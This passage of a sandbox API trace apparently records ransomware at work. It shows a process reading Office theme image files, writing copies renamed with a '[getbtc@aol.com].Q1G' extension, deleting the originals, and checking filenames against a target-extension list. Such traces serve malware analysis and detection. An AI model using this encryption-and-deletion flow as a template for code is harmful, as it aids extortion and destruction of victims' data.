lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0044.990] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.990] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0044.992] GetLastError () returned 0x0 [0044.992] ReadFile (in: hFile=0x1ec, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x3b1, lpOverlapped=0x0) returned 1 [0044.994] WriteFile (in: hFile=0x210, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x3c0, lpOverlapped=0x0) returned 1 [0044.994] ReadFile (in: hFile=0x1ec, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.994] WriteFile (in: hFile=0x210, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.995] SetEndOfFile (hFile=0x210) returned 1 [0044.995] CloseHandle (hObject=0x210) returned 1 [0044.995] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.995] SetEndOfFile (hFile=0x1ec) returned 1 [0044.996] CloseHandle (hObject=0x1ec) returned 1 [0044.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0044.996] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 1 [0044.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.996] lstrlenW (lpString=".doc") returned 4 [0044.996] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.996] lstrlenW (lpString=".docx") returned 5 [0044.996] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.996] lstrlenW (lpString=".pdf") returned 4 [0044.997] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.997] lstrlenW (lpString=".xls") returned 4 [0044.997] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.997] lstrlenW (lpString=".xlsx") returned 5 [0044.997] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.997] lstrlenW (lpString=".ppt") returned 4 [0044.997] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.997] lstrlenW (lpString=".zip") returned 4 [0044.997] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.997] lstrlenW (lpString=".rar") returned 4 [0044.997] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.997] lstrlenW (lpString=".bz2") returned 4 [0044.997] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.997] lstrlenW (lpString=".7z") returned 3 [0044.997] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.997] lstrlenW (lpString=".dbf") returned 4 [0044.997] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.997] lstrlenW (lpString=".1cd") returned 4 [0044.997] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.997] lstrlenW (lpString=".jpg") returned 4 [0044.997] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.997] lstrlenW (lpString=".doc") returned 4 [0044.997] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.997] lstrlenW (lpString=".docx") returned 5 [0044.997] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.997] lstrlenW (lpString=".pdf") returned 4 [0044.997] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.997] lstrlenW (lpString=".xls") returned 4 [0044.998] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.998] lstrlenW (lpString=".xlsx") returned 5 [0044.998] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.998] lstrlenW (lpString=".ppt") returned 4 [0044.998] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.998] lstrlenW (lpString=".zip") returned 4 [0044.998] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.998] lstrlenW (lpString=".rar") returned 4 [0044.998] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.998] lstrlenW (lpString=".bz2") returned 4 [0044.998] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.998] lstrlenW (lpString=".7z") returned 3 [0044.998] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.998] lstrlenW (lpString=".dbf") returned 4 [0044.998] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.998] lstrlenW (lpString=".1cd") returned 4 [0044.998] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.998] lstrlenW (lpString=".jpg") returned 4 [0044.998] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.998] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0044.998] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0044.999] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=32607) returned 1 [0044.999] CloseHandle (hObject=0x1ec) returned 1 [0044.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20 [0044.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0044.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0044.999] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.999] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0044.999] GetLastError () returned 0x0 [0044.999] ReadFile (in: hFile=0x1ec, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x7f5f, lpOverlapped=0x0) returned 1 [0045.002] WriteFile (in: hFile=0x210, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x7f60, lpOverlapped=0x0) returned 1 [0045.003] ReadFile (in: hFile=0x1ec, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.003] WriteFile (in: hFile=0x210, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.003] SetEndOfFile (hFile=0x210) returned 1 [0045.003] CloseHandle (hObject=0x210) returned 1 [0045.004] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.004] SetEndOfFile (hFile=0x1ec) returned 1 [0045.005] CloseHandle (hObject=0x1ec) returned 1 [0045.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0045.005] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 1 [0045.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0045.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0045.005] lstrlenW (lpString=".doc") returned 4 [0045.005] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.005] lstrlenW (lpString=".docx") returned 5 [0045.005] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.005] lstrlenW (lpString=".pdf") returned 4 [0045.005] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.005] lstrlenW (lpString=".xls") returned 4 [0045.005] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.006] lstrlenW (lpString=".xlsx") returned 5 [0045.006] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.006] lstrlenW (lpString=".ppt") returned 4 [0045.006] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0045.006] lstrlenW (lpString=".zip") returned 4 [0045.006] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.006] lstrlenW (lpString=".rar") returned 4 [0045.006] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.006] lstrlenW (lpString=".bz2") returned 4 [0045.006] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.006] lstrlenW (lpString=".7z") returned 3 [0045.006] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0045.006] lstrlenW (lpString=".dbf") returned 4 [0045.006] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0045.006] lstrlenW (lpString=".1cd") returned 4 [0045.006] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0045.006] lstrlenW (lpString=".jpg") returned 4 [0045.006] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0045.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0045.006] lstrlenW (lpString=".doc") returned 4 [0045.006] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.006] lstrlenW (lpString=".docx") returned 5 [0045.006] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.006] lstrlenW (lpString=".pdf") returned 4 [0045.006] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.006] lstrlenW (lpString=".xls") returned 4 [0045.006] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.006] lstrlenW (lpString=".xlsx") returned 5 [0045.006] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.006] lstrlenW (lpString=".ppt") returned 4 [0045.006] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0045.007] lstrlenW (lpString=".zip") returned 4 [0045.007] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.007] lstrlenW (lpString=".rar") returned 4 [0045.007] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.007] lstrlenW (lpString=".bz2") returned 4 [0045.007] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.007] lstrlenW (lpString=".7z") returned 3 [0045.007] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0045.007] lstrlenW (lpString=".dbf") returned 4 [0045.007] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0045.007] lstrlenW (lpString=".1cd") returned 4 [0045.007] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0045.007] lstrlenW (lpString=".jpg") returned 4 [0045.007] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.007] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0045.007] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0045.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0045.901] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=2044) returned 1 [0045.901] CloseHandle (hObject=0x1a8) returned 1 [0045.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20 [0045.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0045.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0045.901] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.901] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0046.183] GetLastError () returned 0x0 [0046.183] ReadFile (in: hFile=0x1a8, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x7fc, lpOverlapped=0x0) returned 1 [0046.892] WriteFile (in: hFile=0x1ec, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x800, lpOverlapped=0x0) returned 1 [0046.893] ReadFile (in: hFile=0x1a8, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.893] WriteFile (in: hFile=0x1ec, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.893] SetEndOfFile (hFile=0x1ec) returned 1 [0046.894] CloseHandle (hObject=0x1ec) returned 1 [0046.894] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.894] SetEndOfFile (hFile=0x1a8) returned 1 [0046.895] CloseHandle (hObject=0x1a8) returned 1 [0046.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0046.895] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 1 [0046.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0046.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0046.895] lstrlenW (lpString=".doc") returned 4 [0046.895] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.895] lstrlenW (lpString=".docx") returned 5 [0046.895] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.895] lstrlenW (lpString=".pdf") returned 4 [0046.895] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.895] lstrlenW (lpString=".xls") returned 4 [0046.895] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.895] lstrlenW (lpString=".xlsx") returned 5 [0046.896] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.896] lstrlenW (lpString=".ppt") returned 4 [0046.896] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0046.896] lstrlenW (lpString=".zip") returned 4 [0046.896] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.896] lstrlenW (lpString=".rar") returned 4 [0046.896] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.896] lstrlenW (lpString=".bz2") returned 4 [0046.896] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.896] lstrlenW (lpString=".7z") returned 3 [0046.896] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0046.896] lstrlenW (lpString=".dbf") returned 4 [0046.896] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0046.896] lstrlenW (lpString=".1cd") returned 4 [0046.896] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0046.896] lstrlenW (lpString=".jpg") returned 4 [0046.896] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0046.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0046.896] lstrlenW (lpString=".doc") returned 4 [0046.896] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.896] lstrlenW (lpString=".docx") returned 5 [0046.896] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.896] lstrlenW (lpString=".pdf") returned 4 [0046.896] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.896] lstrlenW (lpString=".xls") returned 4 [0046.896] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.896] lstrlenW (lpString=".xlsx") returned 5 [0046.896] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.896] lstrlenW (lpString=".ppt") returned 4 [0046.896] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0046.897] lstrlenW (lpString=".zip") returned 4 [0046.897] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.897] lstrlenW (lpString=".rar") returned 4 [0046.897] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.897] lstrlenW (lpString=".bz2") returned 4 [0046.897] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.897] lstrlenW (lpString=".7z") returned 3 [0046.897] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0046.897] lstrlenW (lpString=".dbf") returned 4 [0046.897] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0046.897] lstrlenW (lpString=".1cd") returned 4 [0046.897] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0046.897] lstrlenW (lpString=".jpg") returned 4 [0046.897] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.897] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0046.897] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0046.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.898] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=5179) returned 1 [0046.898] CloseHandle (hObject=0x1a8) returned 1 [0046.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 0x20 [0046.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0046.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft 